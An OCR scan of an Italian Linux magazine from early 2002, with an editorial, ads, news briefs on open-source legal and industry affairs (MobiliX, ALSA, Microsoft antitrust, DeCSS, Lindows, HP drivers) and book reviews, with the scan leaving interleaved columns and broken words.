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Per tutti i gusti: da single, in coppia, 
‘con gli amici. 


I primi passi, la soluzione dei 
problemi più comuni e i segreti per 
spremere a fondo il tuo browser 


sito gratis! 


| programmi per creare pagine web 
senza spendere un centesimo! 


Niente panico, = 
spendi tranquillo! 


Come risolvere | problemi nei tuoi 
pagamenti online 
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MASTER 
Lo stesso editore della 
rivista che stai leggendo 


Non ho mai parlato nei 
miei editoriali di Linux 
Magazine. Sono sempre 
stato confidente che parli- 
no meglio delle mie eventuali parole 
la qualità del lavoro che stanno fa- 
cendo tutti i nostri collaboratori. Non 
ho mai sentito il bisogno di puntella- 
re il soddisfacente prodotto di questo 
team con una autopromozione che 
spesso sa solo di vuota prosopopea. 
Il mondo di Linux è in continuo fer- 
mento e tutti i giorni nascono nuove 
possibilità e progetti. Linux Magazine 
cerca di dare ai propri lettori la più 
vasta visione sul multiforme panora- 
ma del software libero, dell'open 
source e del mercato legato all'am- 
biente Linux. Non solo software libe- 
ro quindi, e non solo open source ma 
anche tutto l'ambito delle iniziative 
commerciali o basate su sistemi pro- 
prietari che riguardano Linux e din- 
torni. Linux Magazine si contraddi- 
stingue, nell'attuale panorama edito- 
riale relativo a Linux, per la comple- 
tezza dell'informazione che presenta 
che non si limita alla semplice pre- 
sentazione di approfondimenti tecni- 
ci, ma tutte le più importanti notizie, i 
commenti e opinioni più influenti nel- 
la comunità Linux italiana ed interna- 
zionale. Questa rivista è quindi una 
sfida nella sfida. Una rivista per un 
"Linux Desktop" nel quale per primi - 
e forse purtroppo ancora da soli- ab- 
biamo creduto, e pur nello spazio li- 
mitato che una piccola testata come 
questa può offrire, si cerca di dar vita 
non già ad una semplice collezione di 
articoli utili per lo più a persone già 
professionalmente attive, ma una ve- 
ra e propria guida da zero per muo- 
versi in un ambiente vasto ed intrica- 
to come quello delle tante comunità 
che girano attorno a Linux, come 
prodotto e come idea. Questo è il 
motivo del successo di una rivista 


che nell'arco dei suoi due anni di vita 
ha visto più che raddoppiare le sue 
pagine, allegare sempre più CD-Rom 
e moltiplicare le sue vendite e i suoi 
lettori. Una rivista che, facendo pro- 
prio il motto di Linus Torvalds, ha co- 
munque tentato e sta provando tutto- 
ra a creare tutto ciò "Just for Fun", 
solo per divertimento. Di chi scrive e 
di chi legge. Abbiamo però, anche 
con la nostra sola presenza, letteral- 
mente obbligato la comunità Linux in 
Italia a porsi il problema di "aiutare i 
nuovi utenti", piuttosto che guardarli 
dall'alto in basso, o a considerarli 
quando non con fastidio, con suffi- 
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cienza. Un rapporto quindi non sem- 


pre semplice con la Comunità, le as- 
sociazioni e i Lug, a volte dominati da 
individualismi e settarismi, che ancor 
oggi non sempre riescono ad avere 
come interlocutori proprio gli utenti 
alle prime armi. 

Siamo fieri di aver persino stimolato 
la concorrenza a scendere su questo 
stesso nostro campo che in prece- 
denza era completamente non presi- 
diato. E ne siamo persino contenti, 
perchè solo la varietà può rendere 
forte e vitale il mondo di Linux. Oggi 
Linux è "IN", nel campo dei server è 
definitivamente un'opzione che an- 
che le grandi aziende e anche in Italia 


AGAZINE: 


prendono seriamente in considerazio- 
ne. Nè il terrorismo di Microsoft, nè 
la pigrizia mentale dei manager IT è 
riuscita a interporre una valida barrie- 
ra agli enormi vantaggi dell'ambiente 
eterogeneo che Linux è riuscito a 
crearsi attorno. Abbiamo, e io perso- 
nalmente ho, però un solo grande 
rammarico: quello di non essere riu- 
scito a comunicare a sufficienza ai 
nostri lettori la necessità del loro 
esplicito impegno nel creare una co- 
munità attorno alle opportunità che 
Linux Magazine mette a nostra dispo- 
sizione. E di farlo così, "Just For Fun". 


Già alcune decine di persone hanno 


scelto di dedicarsi a rendere questa 
rivista migliore, fondando il Linux 
Magazine User Group, per diventare 
gli attori di questa sfida, piuttosto 
che rimanerne solo spettatori. 
Abbiamo bisogno di voi. Delle vostre 
(poche o tante) capacità perché non 
c'è modo, per noi, di conoscere tutto 
e sapere tutto. Gli analisti internazio- 
nali dicono che questo sarà l'anno di 
Linux Desktop. Noi non lo sappiamo. 
Però sappiamo che questo sarà l'an- 
no di Linux Magazine. Mese dopo 
mese. 
Grazie, 

Emmanuele Somma 


<esomma@ieee.org> 
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Per maggiori informa: 


o CLUSTER: configurazioni ad alta affidbilità 
con filesystems journaling e kernel Linux 2.4.7 


e IBM DB2 7.2: workgroup edition 5 users 


o E-COMMERCE: contiene un esempio già pronto 
di commercio elettronico 


e FAX SERVER: Inserimento automatico dei fax 
nel DB2, consultabile via Web 


o SUPPORTO: 30 giorni di supporto telefonico 
per l'installazione 
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| obiliX è un sito 
| dedicato agli utenti di 
| sistemi unixoidi su 


| tutti i dispositivi portatili, dai 


avvezze a interpretazioni diverse 
| dei nomidi questo tipo, e hanno 


\ un chiaro riferimento al 


| “Avventure di Asterix”. Così 


| SONO PAZZI QUESTI PINGUINI! 


Una causa per violazione di trademark indica un nuovo possibile problema per il 


software libero. 


laptop ai cellulari. Il nome è 
ovviamente una contrazione 
delle parole “Mobile Unix”, e 
appare innocuo a chi è abituato 
ai tanti, analoghi nomi di 
prodotti informatici terminanti 
per 'X'; ma le edizioni Albert 
René, evidentemente, sono 


creduto di riconoscere nel nome 


portatore di menhir Obelix, 
celebre coprotagonista delle 


Werner Heuser, ideatore e 
gestore del sito, nonché 
depositario del marchio, si è 


ALSA In dinttura d'amvo 


visto arrivare prima una 
richiesta informale per cessarne 
l'uso, e quindi una citazione in 
giudizio in cui si richiedeva, 
oltre alla cessazione dell'uso 
del nome, anche una multa di 
250'000 dollari - o sei mesi di 
galera. Nell'augurare a Heuser 
buona fortuna per la causa, non 
possiamo fare a meno di 
chiederci secondo quale logica 
sia stato scelto di perseguitare 
il suo sito piuttosto che 
qualcun altro delle centinaia di 
nomi analoghi, raccolti dalle 
decine di sostenitori di Heuser 
e pubblicati sul sito, alcuni dei 
quali perfettamente identici ai 
nomi dei celebri galli! 

Per maggiori informazioni: 
mobilix.org/mobilix_ 
asterix.html 


Copyright (c) 2002 Editions Albert René / Goscinny- Uderzo 


L'architettura che sostituirà il vetusto “Open Sound System” è pronta per essere 


inserita nel kernel 2.5. 


hi ha avuto problemi a far fun- 

zionare la propria scheda so- 

nora in Linux sa bene in che 
stato confuso sia l'architettura del 
suono. Come se non bastasse, il si- 
stema attualmente in uso nel kernel 
prevede una versione GPL e una 
commerciale, e in certi casi l'unica 
possibilità di far funzionare le appli- 
cazioni sonore in Linux è quella di 
fare ricorso alla seconda versione. Il 
progetto ALSA (Advanced Linux 
Sound Architecture) si propone di 
sostituire completamente il prece- 
dente sistema. Finora è stato dispo- 
nibile come progetto distinto, da 
compilare separatamente dal kernel; 
molti utenti probabilmente non se ne 
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sono accorti, dal momento che le di- 
stribuzioni rendono disponibile il 
pacchetto in forma già compilata. 
L'integrazione di ALSA nel kernel, in 
fase di avvicinamento, porterà preve- 
dibili vantaggi per tutti: una maggio- 
re semplicità nello sviluppo per pro- 
grammatori e distributori, un mag- 
gior numero di schede sonore per gli 
utenti. L'architettura di ALSA viene 


paragonato da Linus, per comples- 
sità ed estensione, al sottosistema di 
rete, e avrà probabilmente una strut- 
tura a directory dello stesso tipo nei 
sorgenti del kernel. 

Per maggiori informazioni: 
www.geocrawler.com/lists/3/SourceForge 
/12349/125/7476208 
www.uwsg.indiana.edu/hypermail/linux/ 
kernel/0201.0/1738.html 
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Caso Microsoft: la stona infinita! 


Nuova sorpresa dagli USA: 


federale. 


ello scorso numero abbiamo 

parlato dell'accordo tra la 

Microsoft e il governo federale 
degli Stati Uniti, accennando alla pos- 
sibilità che gli stati coinvolti non fosse- 
ro soddisfatti di quanto stabilito dal 
governo di Bush. È precisamente quel- 
lo che è accaduto: nove stati hanno 
lanciato controproposte a loro parere 
più efficaci per arginare il monopolio 
del gigante del software. E alcuni 
aspetti sono di potenziale interesse per 
la comunità del software libero. Una 
delle richieste è che la Microsoft rilasci 
“tutti i browser e tutte le funzionalità di 
browsing” con licenza open source. 
Come nel caso del rilascio dei proto- 
colli di comunicazione, tutto dipende 
da chi stabilisce quali siano queste fun- 
zionalità: lasciando questa discreziona- 
lità alla Microsoft, non è difficile imma- 
ginare che verrebbe rilasciata una ver- 
sione di Internet Explorer ridotta ai mi- 
nimi termini, ben meno interessante 
dei browser open source già esistenti. 


Una proposta analoga è il 
porting di Office verso tre 
nuovi sistemi operativi. Di 
nuovo, nessuno dice quali 
debbano essere i sistemi 
operativi; una versione per 
Linux eliminerebbe uno dei 
più grossi ostacoli alla sua 
diffusione, in particolare 
presso enti e società, anche 
se probabilmente per la 
Microsoft sarebbe sufficien- 
te un piccolo ritardo nel ri- 
lascio delle versioni “alternative” e 
qualche licenza di favore per Office su 
Windows rispetto a Office su Linux per 
ristabilire il vantaggio. La proposta più 
interessante riguarda l'apertura di 
“API, interfacce di comunicazione e 
informazioni tecniche”. Purtroppo l'a- 
pertura non sarebbe pubblica, ma limi- 
tata alle grandi compagnie, e non sa- 
rebbe disponibile per la comunità del 
software libero. Probabilmente saran- 
no necessari ancora molti mesi per ve- 


National Association 
of Attomeys General 


nove stati non accettano l'accordo raggiunto a livello 


Multistate Actions 


Microsoft Antitrust Case Documents 


“The States will be ready fo proceed, and Microsoft can be ready, 100. 

“e have ‘ressonabie remedies and the pudge has set & 
reasonabie schedule Let% gel on to the conchusion of fis case so we can 
prevent further harm fo compelition and consumers.” 


fowa Attorrey Generai Tom Miler, December 31, 2001 


December 31, 2001 
Plaintiff Litigating States' Opposition to Microsoft Motion to Amend the 
Scheduling Order 


dere la fine di questa “querelle”, ma è 
difficile immaginare una strategia che 
possa tornare utile a Linux; è molto più 
probabile che sia la stessa strategia 
della Microsoft sulle licenze, a spingere 
clienti e corporazioni verso protocolli e 
standard aperti, piuttosto che si riesca 
a ottenere lo stesso risultato da un tri- 
bunale. 

Per maggiori informazioni: 
www.naag.org/features/docs- 
microsoft.cfm 


“Basta con gli allegati Word!” 
Parola di RMS! 


L'ultima predica di Richard Stallman è rivolta contro il popolare formato Microsoft. 


ntendiamoci: sul contenuto siamo 

d'accordo con il celeberrimo fon- 

datore della “Free Software 
Foundation” e del progetto Gnu. 
Solo che i suoi discorsi cominciano 
ad assomigliare agli appelli del Papa: 
puntuali, prevedibili e generalmente 
del tutto inefficaci. Ciononostante, in 
questo caso ci sentiamo di invitare i 
nostri lettori a raccoglierne l'appello. 
Gli esempi di mail con cui RMS pro- 
pone di rispondere ai corrispondenti 


che ci inviino allegati Word sono ca- 
rini, facilmente adattabili e molto 
specifici, e costituiscono una panora- 
mica completa sui problemi degli al- 
legati Word. Il formato MS Word è 
un formato segreto e proprietario. | 
file Word possono includere virus e 
possono trasportare informazioni in- 
visibili al mittente. Un documento 
Word richiede una quantità di me- 
moria molto maggiore delle informa- 
zioni effettivamente convogliate. 


Infine, la strategia socio-culturale 
della Microsoft è in molti casi a dir 
poco discutibile, per cui è moralmen- 
te doveroso non sostenerne il mono- 
polio diffondendo l'uso dei suoi for- 
mati proprietari. Forse non è del tut- 
to vero che “possiamo mettere fine 
agli allegati Word”, ma certamente 
possiamo fare del nostro meglio! 

Per maggiori informazioni: 
www.newsforge.com/article.pl?sid=02/0 
1/10/1711238 
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DIMITRY A CASA, JON SOTTO ACCUSA 


Il fronte di attacco dell'industria cinematografica passa dagli Stati Uniti alla 


Norvegia. 


mitry Sklyarov, imprigionato 

negli Stati Uniti per aver 

violato la legge ivi vigente 
mentre si trovava in Russia, e solo 
per aver scritto un programma, ha 
potuto trascorrere le vacanze 
natalizie a casa, ma solo dopo aver 
accettato di testimoniare nel 
processo in corso. Dmitry ha anche 
dovuto difendersi dalle accuse di 
collaborazionismo: “Sono 
estremamente seccato dalle illazioni che 
io stia in qualche modo cooperando con 
il governo degli Stati Uniti” ha 
dichiarato, “mi ritengo un uomo 
moralmente integro e in quanto tale non 
sto facendo nient'altro che raccontare la 
verità, non a favore né contro nessuno”. 
La ElcomSoft, società sovietica in cui 
lavora Dmitry, ha dichiarato di approvare 
la collaborazione del suo dipendente con 
il governo statunitense, in quanto 
consente di seguire la migliore strategia 
legale senza danneggiare il proprio 
impiegato. Dmitry fornisce il consiglio 


D..: 
Jon Johansen 


d 


Dmitry 


fe 
klyarov 


seguente ai colleghi programmatori: 
“Attenzione agli Stati Uniti, non si può 
essere sicuri di non star facendo 
qualcosa di illegale anche se non vi 
trovate negli USA”. Consiglio di cui 
avrebbe avuto bisogno Jon Johansen, 
norvegese, e uno degli autori del DeCSS, 
il codice per visualizzare i DVD cifrati in 
Linux: sotto pressione della MPAA, 
l'associazione di produttori 
cinematografici statunitensi, il governo 
norvegese lo ha posto sotto accusa, a 
più di quattro anni di distanza dal fatto. 
Sebbene le circostanze non siano tra le 


migliori, non si può fare a meno di 
sorridere nel notare che la legge che 
Johansen è stato accusato di violare 
proibisce l'accesso alla proprietà 
altrui che sia stata chiusa a chiave o 
comunque protetta. | giuristi ci 
insegneranno che il CD o il DVD che 
acquistiamo in realtà non ci 
appartengono, e che l'opera d'arte è 
distinta dal mezzo su cui è 
registrata; noi non possiamo fare a 
meno di ribattere che certamente non 
appartiene al cosiddetto “produttore”, e 
in una certa misura neppure all'artista 
che l'ha creata, ma solo all'intera 
comunità umana (anche se di certi film e 
di certe musiche potremmo benissimo 
fare a meno!) 

Per maggiori informazioni: 
www.theregister.co.uk/content/4/23633. html 
news.com.com/2100-1023-277266. html? 
legacy=cnet 
www.eff.org/IP/Video/DeCSS_prosecu- 
tions/Johansen_DeCSS_case/20020110_ 
eff_pr.html 


I kernel di zia Tillie 


Suscita perplessità il più recente progetto di Eric Raymond. 


n sistema di configurazione 

del kernel non sarebbe nor- 

malmente un argomento di 
grande interesse; lo diventa se l'i- 
dea di base è quella di permettere 
di costruire un kernel anche alla 
zia Tillie, e se l'ideatore del pro- 
getto è Eric Raymond, uno dei no- 
mi di spicco dell'open source, so- 
prattutto grazie ai suoi articoli 
(suo il celebre “La cattedrale e il 
bazar”, la prima analisi del model- 
lo di sviluppo di Linux). Le polemi- 
che sul progetto hanno recente- 
mente iniziato a moltiplicarsi. 
Molti degli sviluppatori hanno 


dubbi sull'effettiva utilità del pro- 
getto; altri temono che possa mol- 
tiplicare le richieste di aiuto da 
parte di persone che hanno co- 
struito il proprio kernel e hanno 
avuto dei problemi; e tra le righe 
si scorge l'idea che certe attività 
debbano essere riservate solo ai 
“veri hacker”. Sebbene alcuni ti- 
mori siano presumibilmente giu- 
stificati, ci sentiamo di condividere 
almeno in parte gli argomenti che 
Raymond porta in difesa del pro- 
getto: “Molti sviluppatori pensano 
che se non si ha il desiderio di 
comprendere i misteri, non si do- 


vrebbe costruire il proprio kernel. 
In questo modo, non solo perdia- 
mo utenti, ma creiamo inutili pro- 
blemi a noi stessi, sprecando 
energie mentali che potremmo ri- 
servare alla creatività”. Non è la 
prima volta che i “veri hacker” si 
ergono a difesa della difficoltà d'u 
so di Linux, ma con il tempo an- 
che loro stanno imparando ad ap- 
prezzare le comodità della tecnolo- 
gia, oltre che il suo fascino. 


Per maggiori informazioni: 
www.aunt-tillie.org 
www.uwsg.indiana.edu/hypermail/Ii- 
nux/kernel/0201.1/1930.html 


Windows contro Lindows 


Chi può biasimare un colosso dell'informatica che per una volta tenta di mettersi 
dalla parte del danneggiato?... 


orse frastornata da 

cause e citazioni che 

le piovono addosso 
da ogni dove, la 
Microsoft ha “sguinza- 
gliato” i suoi avvocati 
contro la società 
Lindows, colpevole di 
avere un nome troppo 
somigliante a Windows. | 
clienti potrebbero “erro- 
neamente concludere che 
il prodotto Lindows sia 
stato esclusivamente o in parte svi- 
luppato, rilasciato o certificato, o co- 
munque sponsorizzato o approvato 
dalla Microsoft”, queste le parole 
dell'accusa. 
Il progetto Lindows è una distribu- 
zione Linux che permette di far gira- 
re anche applicazioni Windows, uti- 
lizzando Wine. Sebbene il progetto 


Michael's 
Minutes 


Archived Minutes 


On _INdowS.com 


Bringing choice to your computer! 
Michael's Mirntes 


Michael Robertson sounds aff'on the latest happening in the 
software marketplace. Sign up now to automatically 
recelve the latest Lindows.com commentary delivered 
directly to your email inbox or click below to read them 
online and jcin our forum to make your own comments. 


Dear Lindows.com Friend, 


Some ofyou have asked about information on the trademark dispute with Microsoft 
Corporation, so here's a quick update and even a way that you can help us ifyou are 
so inclined. 


cerchi di creare una comunità sullo 
stile del software libero, sembra che 
i prodotti non saranno completa- 
mente “open source”; portali di pre- 
stigio come NewsForge e LWN si ri- 
fiutano di parlarne, dal momento che 
a distanza di molti mesi dal primo 
annuncio non vi è nulla di disponibi- 
le ( “vaporware”, roba fatta di vapo- 


re, il termine non certo ami- 
chevole che viene usato nel 
parlarne); e nel chiedere l'aiu- 
to della “comunità” per pre- 
parare la difesa contro la 
Microsoft, il direttore del pro- 
getto ha dichiarato con sem- 
plicità che “siamo stati co- 
stretti a comunicare alla 
Microsoft gli indirizzi e-mail 
di molti dei nostri utenti, oltre 
al contenuto di alcuni mes- 
saggi”. Ce n'è a sufficienza 
per rendere il progetto non partico- 
larmente ben visto dalla comunità. 
Per maggiori informazioni: 
www.theregister.co.uk/content/4/ 
23484.html 
www.newsforge.com/article.pl?sid=01/ 
12/19/1830202 
www.lindows.com/lindows_ 
michaelsminutes_archives.php?id=3 


CONTINUA L'INVAZIONE DEL SOFTWARE LIBERO 


IN COREA 


HancomLinux conquista un quarto dei sistemi desktop governativi nel paese 


asiatico. 


bbiamo già parlato su queste 

colonne di HancomLinux e 

Hancom Office. Il governo 
coreano sembra essere particolarmente 


HANCOM 
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sensibile ai risparmi ottenibili evitando i 
prodotti Microsoft, dal momento che ha 
concluso un accordo con la società di 
software open source per 120'000 copie 
di HancomLinux deLuxe, 
corrispondenti a circa il 
23% della fornitura 
annuale di PC basati su 
sistemi Microsoft. La 
società coreana ha creato 
già in passato forti 
difficoltà alla Microsoft, 
che ha tentato di 
: acquistarla nel 1999, ma 
è stata bloccata da un 
= forte movimento nazio- 


nalista. Con il movimento che si sta 
sviluppando anche in Cina per preferire 
il software libero a quello Microsoft, e ie 
recenti notizie di movimenti analoghi in 
India, possiamo aspettarci che la 
rivoluzione del software arrivi dalle 
economie asiatiche e coinvolga i paesi 
più popolosi del mondo? 

Per maggiori informazioni: 
www.hancom.com/en/news/press02 _0111.html 
www.theregister.co.uk/content/4/23667. 
html 
www.computerworld.com.au/IDG2.NSF/ 
a/000592BA?OpenDocument&n=e&c=0S 
www.newsforge.com/article.pI?sid=02/ 
01/16/0310222&modez=thread 


N E WS 


Linux più economico di Unix 


| risparmi conseguibili utilizzando il pinguino rispetto ai più prestigiosi cugini 


commerciali. 


a Red Hat ha commissionato al- 

la società di analisi IDC uno stu- 

dio sui costi di Linux rispetto ad 
altre soluzioni Unix. Lo studio è stato 
condotto sull'arco di tre mesi, inter- 
pellando 142 società che utilizzano 
soluzioni basate sia su Linux che su 
sistemi Risc. | risultati mostrano un 


abbassamento del costo totale (in 
gergo, TCO, “Total Cost of 
Ownership”, che include hardware, 
software, sviluppo e manutenzione) 
che va dal 45 all'80%. L'abbassamen- 
to dei costi riguarda non solo 
l'hardware e il software, come ci si 
può aspettare, ma anche quello del 


personale, che risulta essere non più 
caro o più economico di quello spe- 

cializzato su sistemi Unix. Sapevamo 
che lavorare con Linux era diverten- 

te, ma non ci aspettavamo che que- 

sto si riflettesse sui salari! 

Per maggiori informazioni: 

www.redhat.com 


IL PINGUINO, IL CONIGLIO E IL CAPPELLO ROSSO 


Diventano sempre più complesse le interrelazioni tra l'industria dello spettacolo e 


l'informatica. 


nella sua conquista di Internet oltre 

che dei desktop del pianeta, è stato 
probabilmente il principale provider 
americano, America On Line (AOL), che, 
dopo aver stipulato un accordo con il 
gigante dell'informatica per distribuire 
ai propri clienti Internet Explorer 
anziché Netscape, ha acquisito proprio 
quest'ultima società. “AOL non ha le 
palle per combatterci”, sembra abbia 
detto Bill Gates ai propri collaboratori 
nel breve periodo dopo questa 
acquisizione; e i fatti gli hanno dato 
ragione, perché dopo 
l'assorbimento, la Netscape 
Corporation è lentamente 
degenerata da vivace 
realtà della new 
economy a una specie 
di frutto 
imbalsamato, 
dotato di sua fetta 
di appassionati ma 
senza nessuna 


i | più grande alleato della Microsoft, 


vera capacità 
innovativa o 
concorrenziale su 
Internet. 

Acquista e vieni 
acquistato, AOL è 
stata a sua volta 
assorbita dal gigante 


dello spettacolo Time Warner, già 
Warner Bros, proprio quella di Bugs 
Bunny & Co. Recentemente, la “AOL- 
Time Warner” (è così che si fa chiamare, 
ora) ha citato in giudizio la Microsoft 
per ottenere il risarcimento dei danni 
subito dalla Netscape a seguito delle 
pratiche commerciali della Microsoft, 
riconosciute monopolistiche dal giudice 


federale. 
Sono anche circolate voci che volevano 
il colosso dello spettacolo in procinto di 


acquistare niente meno che la Red Hat! 
Niente meno per modo di dire, 
naturalmente, dal momento una delle 
società di maggior spicco dell'Open 
Source non è che uno stuzzichino per 
AOL-Time Warner; a lasciare strabiliati è 
il danno potenziale che 
un'operazioncina del genere potrebbe 
portare al mondo del software libero. 
Per bilanciare bene gli argomenti, 
ricordiamo anche che l'industria dello 
spettacolo americano è quella che 
vorrebbe proteggere i filmati digitali 
limitando drasticamente le possibilità 
dei dispositivi elettronici e informatici 
con leggi del calibro della DMCA e della 
SSSCA, con danni enormi non solo per 
il software libero ma per tutta 
l'informatica. Insomma, per quanto 
possa essere una tentazione 
considerare un amico il nemico 
del nostro nemico, restiamo 
diffidenti nei confronti di società 
come la AOL-Time Warner, e 
auguriamoci che la Red Hat 
possa rimanere a lungo una 
realtà indipendente. 
Per maggiori informazioni: 
www.washtech.com/news/ 
media/14759-1.html 
www.linuxtoday.com/ 
news_story.php3?ltsn=2002-01-22- 
017-20-NW-MS 


N E WS 


OPEN SOURCE IN HP 


Il primo driver “open source” per stampanti, reso disponibile da un produttore. 


tp UNITED STATES 


invent 


Linux Inkjet Driver 


* search 
* contact 


Overview — 


hp linux inkjet driver 
project 


SOURCEFO RGE" 
het 


hpinkietsourceforge.net 


HP has developed solutions for printing with Deskjet inkjet printers in Linux. The 


hp drivers and support resources for the HP Linux Inkjet Driver Project are available 


on this site. 


The HP driver provides basic printing support for more than 60 Deskjet printer 
models. 


enominato “hpijs”, il driver 
prodotto dalla HP per la serie di 
stampanti Deskjet è stato 


rilasciato con una licenza in stile BSD a 
partire dalla versione 1.0.1, ed è 
disponibile direttamente su Sourceforge. 


Un sistema in scatola 


Giunge alla versione 1.3 l'emulatore di CPU Bochs. 


li emulatori di CPU sono 

una soluzione drastica al 

problema dell'utilizzo di 
applicazioni Windows su un siste- 


AddNew Add/Remove Date/Time 
Hardware Programs 


ma Linux, oltre a permettere di ef- 
fettuare test di altri sistemi opera- 
tivi all'interno di una configurazio- 
ne stabile (e consentire a riviste 


Le caratteristiche fondamentali del 
driver sono la possibilità di essere 
utilizzato in ghostscript senza necessità 
di ricompilazione, l'elevata qualità di 
stampa e la rilevazione automatica del 
tipo di carta, con conseguente 
adeguamento della qualità di stampa. 
Congratulazioni alla HP per questo 
passo importante, e auguri ai nostri 
lettori che possiedono uno degli oltre 60 
modelli di stampante compatibili con il 
driver! 

Per maggiori informazioni: 
www.linuxprinting.org/show_driver.cgi? 
driver=hpijs 

hpinkjet.sourceforge.net 


come la nostra di prendere 
screenshot delle schermate di in- 
stallazione dei sistemi operativi!). 
Le prestazioni, naturalmente, so- 
no estremamente ridotte ri- 
spetto al sistema ospitante, 
ma sono più che adeguate 
per applicazioni che non ri- 
chiedano tutta la potenza del- 
la macchina disponibile su 
computer recenti. 

Il programma più famoso di 
questa categoria è probabil- 
mente VMWare, che però è 
un programma proprietario 
rilasciato su licenza. Con il 
recente rilascio della versio- 
ne 1.3, l'emulatore Open 
Source Bochs ha oramai un 
livello di stabilità tale da po- 
ter tranquillamente essere 
utilizzato da chi ha necessità 
di un programma del genere 
e non può, oppure non vuo- 
le, utilizzare un programma 
commerciale. 

Per maggiori informazioni: 
bochs.sourceforge.net 


NE WS 


Le speculazioni 
fINISscONO, Il 
software libero 
sopravvive 


Sintetizziamo un'interessante 
analisi sullo stato del software 
libero pubblicata da “The 


Guardian”. 
1 2000 è stato l'anno del boom economico per 
le società di software libero; ma il 2001 è stato 
l'anno del ridimensionamento. VA Linux è 
sull'orlo del crollo, le grandi aspettative per 
Eazel sono andate miseramente deluse, e 
persino le quotazioni di Red Hat sono crollate a 
un ventesimo del valore che avevano nel 2000. 
D'altro canto, IBM progetta di investire un 
miliardo di dollari in sviluppo Linux e dedica 
1500 programmatori per l'adattamento dei 
propri prodotti all'ambiente Linux; Amazon 
migra i propri server su Linux; e anche il 
governo inglese appare tentato di passare al 
Sistema del pinguino. 
La vitalità dell'open source è assicurata dalla 
Possibilità di continuare a utilizzare il codice 
anche dopo la scomparsa di una società, e dalla 
forte motivazione dei programmatori, che ha 
poco a che fare con l'economia. La 
trasformazione in open source di progetti di 
grande rilievo come Open Office, e l'ambizione 
di realizzare implementazioni di progetti 
Microsoft come in Mono, mostrano chiaramente 
la forza e la vitalità dell'ambiente. E progetti 
come la “Distributed Terascale Facility” di IBM 
mostrano chiaramente che si possono anche 
realizzare progetti di scala enorme. 
Ma forse il sintomo più indicativo della vitalità 
dell'open source è il cambio di strategia della 
Microsoft nei suoi confronti: inizialmente lo 
hanno considerato irrilevante, poi lo hanno 
attaccato sul fronte tecnico, recentemente sono 
passati all'area della proprietà intellettuale. Per 
ricordare una citazione del Mahatma Gandhi che 
amiamo: “Prima ti ignorano. Poi ridono di te. Poi 
ti combattono. E poi tu vinci”. 
Per maggiori informazioni: 
www.guardian.co.uk/online/story/0,3605,629939,00.html 


fiarzo 2002 


LINUX, PINGUINO CHE 
ABBAIA NON MORDE 


Sono le conclusioni (quasi) letterali di una 
statistica sui sistemi operativi utilizzati dai 


naviganti della rete. | 
| SS di indagine per e-business (scusate il linguaggio estroso, | 
sono loro che si definiscono così!). Le conclusioni, non del tutto 
inattese, sono che solo un utente del Web su circa quattrocento utilizza 
un sistema Linux per la navigazione, da confrontare con la quota 
combinata di Windows e Macintosh pari a circa il 98%. L'aspetto più 
interessate è però la mancanza di crescita nel corso degli ultimi tre anni; 
questo indica che la sperata ‘conquista del desktop" non è neppure 
iniziata, ma se non altro gli amici del pinguino sono cresciuti allo stesso 
ritmo degli utenti Win e Mac. Il comunicato stampa non cita statistiche 
sui Web Server, che sarebbero decisamente più incoraggianti, ma si 
limita a dichiarare laconicamente che “a dispetto del continuo basso 
tasso di utilizzo tra gli utenti del Web, Linux ha ampi canali di | 
distribuzione corporativi". Inutile dire che per accedere ad ulteriori 
statistiche è necessario sottoscrivere il servizio (ovvero: pagare!) 


0 studio è stato condotto da “Web Side Story", una compagnia di 


Per maggiori informazioni: 
www.prnewswire.com/cgi-bin/stories.plI?ACCT=104&STORY=/ 
www/story/12-19-2001/ 0001636492&EDATE= 

www.websidestory.com 


Dal Computer al 
Simputer | 


Arriva dall'India il computer più semplice 
del mondo. Naturalmente con sistema 


operativo Linux! 

n gruppo di ricercatori dell'Istituto Indiano per le Scienze, 

in associazione con la “Encore software", sta sviluppando 

un computer palmare progettato appositamente per i 
paesi in via di sviluppo. Battezzato ‘ Simputer"' per evidenziarne 
la semplicità d'uso, il dispositivo sarà leggermente più grande di 
un palm, ma nettamente più potente. Il Simputer è dotato di una 
porta a infrarossi, una porta USB e un modem interno per la co- 
municazione con altri dispositivi, nonché di un ‘touch screen" di 
320x240 pixel e un sintetizzatore vocale per l'interfaccia con l'u- 
tente. In una prima fase le vendite saranno indirizzate agli enti 
governativi, per poi rivolgersi alle società private e agli individui. 
Tra gli obiettivi progettuali vi è infatti l'informatizzazione delle zo- 
ne rurali dell'India. Il costo del Simputer sarà di circa 200 dollari. 


Per maggiori informazioni: 
www.simputer.org 
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GNU/LINUX, FREE SOFTWARE, MEZZI DI 


PROTEZIONE (1° ED.) 


ASPETTI GENERALI 


L'evoluzione tecnologica 


pone alla disciplina del 
diritto d'autore sempre 
nuove sfide. Questo 
volume nasce proprio 
dalla constatazione che 
l'avvento delle nuove 
tecnologie telematiche 
digitali (in particolare 
Internet) e la loro 
esponenziale diffusione 
sta determinando 
importanti "perturbazio- 
Ni" nel sistema della 
proprietà intellettuale. Il 
software, il multimedia, 
le banche dati, le opere 
IN rete e sul web hanno 
aperto nuove problema- 
tiche giuridiche e aspre 
battaglie giudiziarie. Da 
ultimo il file sharing, 
ovvero la condivisione e 
lo scambio su larga 
scala di dati, soprattutto 
musicali, è giunto a 
mettere in crisi la 
tradizionale concezione 
del copyright, diffonden- 
do l'idea di un diritto 
d'autore aperto, basato 
sulla condivisione della 
conoscenza. 
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ASPETTI SPECIFICI 


In questo panorama 
l'autore ha ritenuto 
importante focalizzare 
l'attenzione sul mondo 
poco conosciuto 
dell'open source, 
dedicando una parte 
sostanziale del libro 
all'analisi delle licenze 
più comuni, al fine di 


KYLIX 


ASPETTI GENERALI 


Kylix rappresenta la 
soluzione Borland per la 
realizzazione di applica- 
zioni RAD (Rapid 
Application 
Development) in 
ambiente Linux; Kylix 
riprende in pieno quelle 
che sono le funzionalità 
del medesimo pacchet- 
to in ambiente 
Windows: Delphi. 


Livello Medio alto 


Scritto da esperti pro- 
grammatori, il libro si 
rivela la guida indispen- 
sabile per imparare a 
progettare applicazioni 
con Kylix. Lo scopo prin 
cipale degli autori, è 
quello di rendere fami- 
liare l'ambiente Linux 
nel minor tempo possi- 
bile, fornendo soluzioni 
reali di programmazione. 


Copertura delle Applicazioni 
Le soluzioni proposte 
coprono un vasto 


rendere accessibili, 
anche da un punto di 
vista giuridico e 
strettamente 
contrattuale, i principi 
posti alla base di questa 
impostazione, che tende 
a riportare il diritto 
d'autore nell'alveo dei 
diritti fondamentali 
dell'individuo. 
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campo di argomenti, dal 
controllo della KDE al 
trattamento dei mes- 
